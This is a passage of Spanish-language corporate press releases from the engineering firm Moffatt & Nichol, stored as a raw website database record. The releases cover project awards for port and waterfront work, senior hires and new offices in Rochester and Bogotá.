Costas, Océanos, Puertos y Ríos (COPRI) otorgó a Moffatt & Nichol el Premio 2013 a la Excelencia en Proyectos, Categoría Proyecto Pequeño, por el Port Pavilion en Broadway Pier, del Puerto de San Diego. \r\n\r\nEste complejo trabajo rehabilitó un muelle histórico de 1919 y estableció un flexible espacio público frente al mar que hace la doble función de lugar de encuentro y terminal de cruceros.  Moffatt & Nichol trabajó como ingeniero estructural exclusivo para el rediseño del muelle y la adecuación sísmica, y como ingeniero estructural para la estructura apoyada en pilotes, la cual recibió la certificación de Oro por Liderazgo en Energía y Diseño Ambiental. El proyecto ha recibido seis galardones desde 2011, incluyendo el Premio de Mérito a la Excelencia en Ingeniería otorgado por ACEC, Capítulo California. \r\n\r\n“Desde una perspectiva de ingeniería, Port Pavilion en Broadway Pier fue un proyecto técnicamente difícil y de alta visibilidad. El puerto confiaba en las capacidades especializadas y el apoyo de Moffatt & Nichol, desde el inicio del diseño hasta la finalización de la construcción. La singular capacidad de ingeniería estructural para edificaciones de frente de mar de la firma fue fundamental para el éxito del proyecto”, expresó Mark McIntire, Gerente de Proyecto del Puerto de San Diego.\r\n\r\nA través de los 5 años de evolución del proyecto, el equipo de diseño enfrentó retos que incluyeron ajustar el cronograma del proyecto con permisos ambientales, construcción pesada para un muelle en ambiente intermareal. La reutilización adaptativa y estratégica de las estructuras existentes produjo resultados con beneficios a largo plazo, en términos de  costos, cronograma y diseño. \r\n\r\n“La demolición de los muelles existentes y la construcción de una estructura de reemplazo hubiese sido muy cotosa y hubiese tomado mucho tiempo. Además, el proceso de demolición hubiese creado una gran cantidad de desechos de construcción”, comentó Matthew Martínez, Gerente de Proyecto de Moffatt & Nichol. “Como una alternativa al reemplazo de la estructura que data de 1913, se utilizó un proceso adaptativo de re-utilización para modernizar la estructura histórica con el fin de ser reutilizada en este proyecto”. Se hicieron pruebas bajo el nivel del agua de los pilotes que datan de 1930, se encofraron los pilotes de 1913 y se implementó un sistema de aislamiento con base sísmica. Adicionalmente la incorporación de una capa estructural permite a la plataforma del muelle soportar los requerimientos del tráfico moderno. \r\n\r\nEl nuevo Port Pavilion en Broadway Pier representa un exitoso balance entre beneficios económicos y un enfoque de diseño ambientalmente consciente que realza la dinámica y diversa zona costera del centro de la ciudad. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"14\">James Beaver se integra a Moffatt & Nichol como director de Servicios Comerciales para Marinas</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\"><img title=\"James Beaver\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\nLONDRES, REINO UNIDO, septiembre 23, 2013 – James Beaver se une a la oficina de Moffatt & Nichol Londres como Director de Servicios Comerciales para Marinas, bajo la práctica de Desarrollo Costero Urbano  y Marinas. El señor Beaver, anteriormente Director de Operaciones de Camper & Nicholson Marinas, tiene más de 24 años de experiencia con operaciones de marinas, nuevos desarrollos, redesarrollos, financiación y debida diligencia. También tiene extensa experiencia en el desarrollo y arrendamiento de inmuebles relacionados con marinas. \r\n\r\n“James trae a Moffatt & Nichol una increíble reputación y habilidades, al igual que amplia experiencia en la planificación y evaluación del mercado para orientar sobre el perfil potencial de demanda para cualquier marina, a través de la consultoría operativa y la puesta en marcha de la instalación”, comentó Robert Nathan, PE, Vicepresidente Senior de Moffatt & Nichol y líder de la práctica de Desarrollo Costero Urbano y Marinas. “Estamos muy contentos que esta experiencia esté disponible para ofrecer apoyo los intereses de nuestros clientes en el rápido crecimiento del mercado de puertos deportivos y estructuras de frente de mar, desarrollando marinas de alto nivel e inmuebles relacionados”.\r\n\r\nEn anteriores funciones, el señor Beaver fue miembro líder de un equipo senior responsable del desarrollo de una marina de 600 puestos de atraque y  operaciones de almacenamiento en seco en Portland, Dorset, Reino Unido, el cual fue el lugar sede para eventos de navegación para las Olimpiadas y para los Juegos Paralímpicos Londres 2012. Desarrolló un papel administrativo en el re-desarrollo y construcción de East Cowes Marina en Isle of Wight, Reino Unido. Recientemente, James dirigió el equipo administrativo senior en colaboración con Yas Marina, sede del Grand Prix Formula 1TM de Abu Dhabi. \r\n\r\nSobre su transición a Moffatt & Nichol, el señor Beaver afirma que, “estoy complacido de unirme a una firma con tan sobresaliente reputación. Es una gran oportunidad poder participar en los emprendimientos futuros de Moffatt & Nichol y continuar desarrollando marinas de primera clase alrededor del mundo”. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"13\">Proyecto Tampa Gateway Rail Terminal recibe altos honores en la Bahía de Tampa</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\"><img title=\"Tampa Gateway\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\" alt=\"\" width=\"400\" height=\"266\" /></a>\r\nPremiación Anual al Futuro de la Región del Concejo Regional de Planeación\r\n\r\nTAMPA, FLORIDA, julio 18, 2013 – Tampa Gateway Rail Terminal, un proyecto de US$11 millones de colaboración conjunta del Puerto de Tampa, fue galardonado con el Premio Jr. de Distinción Charles McIntosh, durante la Vigésima Primera Premiación Anual al Futuro de la Región, del Concejo Regional de Planeación de la Bahía de Tampa.\r\n\r\nEl Premio Jr. de Distinción Charles A. McIntosh fue presentado al proyecto por su demostración de una fuerte visión regional y excelencia en las categorías de servicio comunitario, ambiental y de infraestructura. Un panel independiente evaluó proyectos basados en los beneficios a la calidad de vida regional, beneficios al medio ambiente, innovación, rentabilidad y capacidad de continuar el impacto y beneficio regional.  El proyecto generó conectividad intermodal sin precedentes al Puerto de Tampa, el cual sirve como motor económico crucial, generando aproximadamente 100,000 empleos y US$8 millones en impacto económico anual. La instalación no sólo permite cuantiosos oportunidades de comercio que no estaban disponibles antes, sino también contribuye al incremento del etanol, disminuyendo las emisiones de CO2 y reduciendo la dependencia en fuentes externas de energía. \r\n\r\n“Estamos muy complacidos que nuestro compromiso con desarrollar el Puerto de Tampa en un hub intermodal de clase mundial y esta importante asociación estratégica han sido reconocidas a tan alto y prestigioso nivel,” dijo Paul Anderson, CEO y Director del Puerto de Tampa.  \r\n\r\nEl Gateway Rail es la más reciente fase de un plan maestro de mejoras a una instalación de 188 acres para contenedores que Moffatt & Nichol está liderando. Moffatt & Nichol ofrece servicios profesionales de ingeniería y consultoría que incluyen la planeación, diseño, documentos de construcción, administración de proyecto y apoyo a la construcción. El proyecto se completó dentro del cronograma y el presupuesto. \r\n\r\n“Moffatt & Nichol se siente orgulloso de ser parte de este proyecto integral en la Bahía de Tampa”, comentó Michael Bruce, PE, Gerente de Proyecto de Moffatt & Nichol. Este reconocimiento por parte del Concejo Regional de la Bahía de Tampa es un testimonio de la visión y el compromiso con la excelencia del Puerto de Tampa. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de Prensa','','inherit','open','open','','1399-revision-24','','','2014-04-01 17:40:59','2014-04-01 